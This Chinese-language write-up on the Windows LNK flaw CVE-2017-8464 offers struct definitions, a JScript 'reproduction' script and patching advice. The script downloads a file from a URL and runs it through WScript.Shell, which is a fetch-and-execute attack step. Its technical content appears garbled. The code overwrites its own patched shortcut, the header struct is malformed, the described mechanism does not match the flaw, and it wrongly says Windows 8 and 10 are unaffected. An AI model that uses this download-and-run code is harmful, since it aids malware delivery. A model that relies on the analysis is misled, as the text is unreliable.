一、漏洞概述
CVE-2017-8464是一种在Windows Shell远程执行代码的漏洞。攻击者可以通过文件共享、WebDAV共享、USB、外部存储等多种方式将恶意的LNK文件注入受害用户计算机中,当用户双击打开这些恶意的LNK文件时,就会触发漏洞,攻击者就可以远程控制受害者计算机。
- 漏洞类型:远程执行代码漏洞
- 漏洞等级:严重
二、漏洞成因
在Windows Shell中,ShellExecute函数是一个非常重要的函数,它主要是用于启动一个应用程序、打开指定文件等操作。当用户双击一个Lnk文件时,ShellExecute会被调用来启动指定程序。而LNK文件中各种属性的值会通过ShellExecute函数参数传递给ShellExecute。恶意LNK文件通过特定的属性和值来操纵ShellExecute函数进而执行恶意代码。
三、漏洞分析
LNK文件是Windows文件系统中短切方式的一种,它包含了被链接的文件和目标信息。在LNK文件中,一个被称为“ShellLinkHeader”的结构体保存了多个与LNK文件相关的信息,包括LNK文件大小、文件标识符等等。此外,还有一个名为“LinkInfo”的部分,保存着LNK文件的一些特性,包括其实体路径、属性、图标等,这些信息对ShellExecute函数来说是至关重要的。
typedef struct _GUID {
ULONG Data1;
USHORT Data2;
USHORT Data3;
UCHAR Data4[8];
} GUID;
typedef struct {
GUID LinkCLSID;
ULONG LinkFlags;
ULONG FileAttributes;
FILETIME CreationTime;
FILETIME AccessTime;
FILETIME WriteTime;
ULONG FileSize;
LONG IconIndex;
ULONG ShowCommand;
short HotKey;
ULONG Reserved1;
ULONG Reserved2;
ULONG Reserved3;
} ShellLinkHeader;
typedef struct {
ULONG LinkInfoSize;
ULONG LinkInfoHeaderSize;
ULONG LinkInfoFlags;
ULONG VolumeIDOffset;
ULONG LocalBasePathOffset;
ULONG CommonNetworkRelativeLinkOffset;
ULONG CommonPathSuffixOffset;
ULONG LocalBasePathOffsetUnicode;
ULONG CommonPathSuffixOffsetUnicode;
} LinkInfo;
在漏洞的复现过程中,攻击者通过LNK文件中的值来操纵ShellExecute函数。例如,LinkInfo中保存的本地路径信息可以通过RemoteName来覆盖,当ShellExecute函数执行时,会按照RemoteName中指定的路径来执行,而不是真实路径。攻击者利用该漏洞可以操纵ShellExecute函数,从而实现对受害计算机的远程控制。
四、漏洞复现
需要注意的是,CVE-2017-8464漏洞只存在于Windows 7及其前身的Windows操作系统上,Windows 8和Windows 10并不受影响。 漏洞复现过程如下:
//创建LNK文件,设置LinkInfo信息
var shellApplication = new ActiveXObject("Shell.Application");
var folder = shellApplication.NameSpace(folderPath);
var folderItem = folder.ParseName(fileName);
var link = folderItem.GetLink;
var linkPath = folderPath + "\\" + lnkName;
var shortcut = link.CreateShortcut(linkPath);
shortcut.TargetPath = "calc.exe";
shortcut.Arguments = "";
shortcut.Description = "test shortcut";
shortcut.IconLocation = "calc.exe";
shortcut.Save();
//伪装LNK文件,RemoteName覆盖本地路径信息
var l2 = "\x4c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
var l3 = "\x4e\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x00\x00\x2f\x00";
var fileStream = new ActiveXObject("ADODB.Stream");
fileStream.Type = 2;
fileStream.Open();
fileStream.LoadFromFile(linkPath);
fileStream.Position = 0x4c+4;
fileStream.WriteText(l2, 1);
fileStream.WriteText(l3, 1);
fileStream.SaveToFile(downloadPath, 2);
fileStream.Close();
//下载伪装的LNK文件
var objXMLHTTP = new ActiveXObject("MSXML2.XMLHTTP");
objXMLHTTP.open("GET", downloadUrl, false);
objXMLHTTP.send();
var adoStream = new ActiveXObject("ADODB.Stream");
adoStream.Type = 1;
adoStream.Open();
adoStream.Write(objXMLHTTP.ResponseBody);
adoStream.Position = 0;
adoStream.SaveToFile(downloadPath, 2);
adoStream.Close();
//双击伪装的LNK文件
var objShell = new ActiveXObject("WScript.Shell");
objShell.Run(downloadPath, 1, true);
五、漏洞防范
微软已经发布了针对该漏洞的补丁,建议用户及时升级操作系统,安装最新的安全补丁。 此外,用户在使用电脑时,要警惕不明来源文件和URL链接,避免双击或访问可能存在安全问题的文件。
六、总结
CVE-2017-8464是一种存在于Windows Shell的远程执行代码漏洞,攻击者可以通过构造LNK文件注入恶意代码,并远程控制受害者计算机。尽管漏洞已经有针对应对的安全补丁,但是还是建议用户在使用电脑时要保持警惕,避免不明来源的文件和URL链接带来的安全风险。